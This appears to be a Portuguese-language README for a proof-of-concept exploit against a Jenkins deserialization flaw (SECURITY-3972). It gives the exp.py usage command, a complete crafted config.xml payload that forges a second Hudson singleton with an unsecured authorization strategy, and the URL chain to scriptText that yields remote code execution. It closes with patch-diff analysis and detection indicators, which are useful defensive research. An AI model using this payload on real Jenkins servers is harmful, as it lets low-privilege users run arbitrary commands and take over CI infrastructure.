
Jenkins PersistenceRoot Desserialização RCE (SECURITY-3972) — PoC e análise. Requer Item/Configure; afeta weekly <= 2.579 / LTS <= 2.568.2
PoC para a vulnerabilidade de desserialização do Jenkins corrigida em 2026-09-02 (advisory). Uma conta com privilégios baixos que possua Item/Configure em qualquer job individual pode transformar isso em execução arbitrária de código como o usuário do SO do Jenkins.
| Afetado | Jenkins weekly ≤ 2.579, LTS ≤ 2.568.2 |
| Corrigido | weekly 2.580, LTS 2.568.3 |
| Pré-condição | autenticado, Item/Configure em ≥ 1 job |
| Impacto | RCE como a conta de serviço do Jenkins |
| CVSS | 8.8 (Alto) |
Apenas para pesquisa de segurança autorizada em instâncias de teste vulneráveis.
pip install requests
python3 exp.py --url http://<target>:<port> --user <user> --password <pass> [--job <name>] --cmd id
O script verifica se a conta não possui permissão de script (espera 403), envia o config.xml manipulado e, em seguida, roteia pelo grafo de objetos injetado até um Script Console cuja ACL é controlada pelo atacante.
Dois comportamentos de longa data da pilha XStream do Jenkins (hudson.util.XStream2 / RobustReflectionConverter) se combinam:
PersistenceRoot era desempacotado como um objeto comum. Como o XStream instancia via Unsafe.allocateInstance (sem construtor), um atacante poderia forjar um segundo singleton hudson.model.Hudson com valores de campos arbitrários — incluindo authorizationStrategy.FingerprintAction.build, Run.project, AbstractItem.parent) são transientes, então objetos injetados se tornam alcançáveis via HTTP — a redação "subsequently handle HTTP requests via Stapler" do advisory.POST /job/<job>/config.xml (apenas precisa de Item/Configure) injeta nos <actions> do job:
<actions>
<hudson.tasks.Fingerprinter_-FingerprintAction>
<build class="hudson.model.FreeStyleBuild"> <!-- PersistenceRoot aninhado (defeito 1); campo transiente (defeito 2) -->
<project class="hudson.model.FreeStyleProject"> <!-- Run.project: protected final transient -->
<parent class="hudson.model.Hudson"> <!-- AbstractItem.parent: transient; 2º Jenkins forjado -->
<authorizationStrategy class="hudson.security.AuthorizationStrategy$Unsecured"/>
</parent>
<name>...</name>
<properties/> <!-- evita NPE em Job.getOverrides() -->
</project>
</build>
<record/>
</hudson.tasks.Fingerprinter_-FingerprintAction>
</actions>
O Stapler então roteia a requisição para o grafo forjado:
| Segmento de URL | Resolve para | Caminho de código |
|---|---|---|
/job/<job>/fingerprints | FingerprintAction injetado | urlName == "fingerprints" + Actionable.getDynamic() |
/run | FreeStyleBuild forjado | FingerprintAction.getRun() lê o build transiente |
/parent | FreeStyleProject forjado | Run.getParent() lê o final transient project |
/parent | hudson.model.Hudson forjado | AbstractItem.getParent() lê o parent transiente |
/scriptText | Script Console da instância forjada | Jenkins.doScriptText() → _doScript(..., getACL()) |
A bypass de autorização: doScriptText verifica ADMINISTER contra a instância que recebeu a requisição, ou seja, getACL() do Hudson forjado, que é derivado do seu próprio campo authorizationStrategy — AuthorizationStrategy$Unsecured concede tudo. A estratégia de autorização do controlador real nunca participa. Como nenhum construtor é executado durante a desserialização, os inicializadores de campos não se aplicam; o payload deve definir authorizationStrategy (e properties) explicitamente.
Diff de jenkins-2.579 → jenkins-2.580:
RobustReflectionConverter.doUnmarshal agora se recusa a desempacotar um subtipo de PersistenceRoot em um campo aninhado (CriticalXStreamException: "PersistenceRoot objects are document roots and must not appear as nested field values"), permitindo apenas três formatos seguros: back-references reference= do XStream, replacers não persistentes resolves-to (Run$Replacer, User$Replacer, …) e referências escalares de conversores de valor único.@XStreamNotDeserializable / @XStreamDeserializable além de TRANSIENT_FIELD_STRICT_MODE reforçam o desempacotamento de campos transientes por campo.Jenkins.readResolve() agora se recusa a desserializar um segundo singleton Jenkins e ganhou um replacer writeReplace().test/src/test/java/jenkins/security/Security3972Test.java, Security3972QueueRestartTest.java.POST /job/*/config.xml contendo Fingerprinter_-FingerprintAction / hudson.model.Hudson aninhados, ou requisições para /job/*/fingerprints/run/parent/parent/scriptText.config.xml dos jobs quanto a poluição.